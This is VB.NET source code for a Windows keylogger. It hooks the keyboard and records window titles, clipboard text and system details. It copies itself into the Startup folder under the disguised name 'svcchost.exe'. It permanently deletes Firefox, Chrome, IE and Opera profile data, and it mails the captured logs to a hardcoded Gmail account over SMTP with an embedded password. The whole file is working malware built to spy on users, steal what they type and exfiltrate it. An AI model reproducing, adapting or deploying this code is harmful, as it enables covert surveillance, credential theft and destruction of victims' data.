Imports System.Text
Imports System.IO
Imports System.ComponentModel
Imports System.Net.Mail


Public Class Form1
    Dim WithEvents K As New Keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing

    Private Sub keyboardLanguages()
        For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
            TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
        Next
    End Sub

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
            strin = GetActiveWindowTitle()
        End If
    End Sub

    Private Sub K_Down(ByVal Key As String) Handles K.Down
        TextBox1.Text &= Key
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        'Windows 7 StartUp User
        Try
            Dim file1 As String = Application.ExecutablePath
            Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svcchost.exe"
            If File.Exists(copy1) Then
            Else
                System.IO.File.Copy(file1, copy1)
            End If
        Catch ex As Exception
        End Try
        'Windows Xp Startup User
        Try
            Dim file1 As String = Application.ExecutablePath
            Dim copy1 As String = "C:\Documents And Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svcchost.exe"
            If File.Exists(copy1) Then
            Else
                System.IO.File.Copy(file1, copy1)
            End If
        Catch ex As Exception
        End Try

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        keyboardLanguages()

        Select Case (My.Settings.browser)
            Case 0
                My.Settings.browser = 1
                My.Settings.Save()
                My.Settings.Reload()
            Case 1
                Timer4.Start()
            Case 2
            Case Else
        End Select

        TextBox1.Text = Now() + vbNewLine + vbNewLine

        Try
            Dim myProcess As New Process()
            myProcess.StartInfo.UseShellExecute = False
            myProcess.StartInfo.RedirectStandardOutput = True
            Try
                myProcess.StartInfo.FileName = "ipconfig"
                myProcess.StartInfo.Arguments = "/all"
                myProcess.StartInfo.CreateNoWindow = True
                myProcess.Start()
                TextBox1.Text = TextBox1.Text + _
                    Replace(myProcess.StandardOutput.ReadToEnd(), _
                Chr(13) & Chr(13), Chr(13))
                myProcess.WaitForExit()
            Catch ex As Exception
            End Try
        Catch ex As Exception
        End Try
        Try
            TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "User Name:     " + Environment.UserName.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name:       " + Environment.MachineName.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "Screen:        " + My.Computer.Screen.WorkingArea.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "OS Versio:        " + Environment.OSVersion.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "Run Time:         " + Environment.Version.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "System Root:      " + Environment.SystemDirectory.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "User Domain Name:     " + Environment.UserName.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "Total Physical Memory:     " + My.Computer.Info.TotalPhysicalMemory.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory:       " + My.Computer.Info.AvailablePhysicalMemory.ToString
            TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine

            K.CreateHook()

            Timer1.Start()
            Timer2.Start()
        Catch ex As Exception

        End Try
    End Sub
    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        'Windows 7
        'Mozilla Folder/Profiles Delete
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
            System.IO.File.Delete("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\profiles.ini")
        Catch ex As Exception
        End Try

        'Chrome Delete Files/Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
        Catch ex As Exception
        End Try

        'IE Delete Files/Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
        Catch ex As Exception
        End Try

        ' Opera Delete Files\Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
        Catch ex As Exception
        End Try

        'Windows Xp
        'Mozilla Delete Files/Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
            System.IO.File.Delete("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles\profiles.ini")
        Catch ex As Exception
        End Try

        'Chorome Delete Files/Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Application Data\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
        Catch ex As Exception
        End Try

        'IE Delete Files/Folders
        Try
            My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
        Catch ex As Exception
        End Try

        My.Settings.browser = 2
        My.Settings.Save()
        My.Settings.Reload()

        Timer4.Stop()

    End Sub

    Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
        Try
            'Mail Message One
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress("prohack4fun900@gmail.com")
            MyMailMessage.To.Add("prohack4fun900@gmail.com")
            MyMailMessage.Subject = Environment.UserName.ToString + "Turned Off Part :     " + My.Settings.part.ToString
            MyMailMessage.Body = TextBox1.Text
            Dim SMTPServer As New SmtpClient("smtp@gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential("prohack4fun900@gmail.com", "keylogger10")
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMessage)
            'Mail Message Two

        Catch ex As Exception
        End Try
        My.Settings.part = My.Settings.part + 1
        My.Settings.Save()
        My.Settings.Reload()

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            'My Mail Message One
            Timer1.Stop()
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress("prohack4fun900@gmail.com")
            MyMailMessage.To.Add("prohack4fun900@gmail.com")
            MyMailMessage.Subject = Environment.UserName.ToString + "Part:  " + My.Settings.part.ToString + TextBox2.Text

            MyMailMessage.Body = "Compare Info:    " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine + _
            "Display Name:    " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine + _
            "English Name:    " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine + _
            "Left Language Tag:     " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine + _
            "Name:  " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine + _
            "Native Name:   " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine + _
            "Text Info:     " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine + _
            "3 Letter ISO Language Name:   " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine + _
            "3 Letter Windows Language Name:   " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine + _
            "2 Letter Iso Language Name:     " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential("prohack4fun900@gmail.com", "keylogger10")
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMessage)
            TextBox1.Clear()
            Timer1.Start()

        Catch ex As Exception
        End Try

        My.Settings.part = My.Settings.part + 1
        My.Settings.Save()
        My.Settings.Reload()
    End Sub

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub
End Class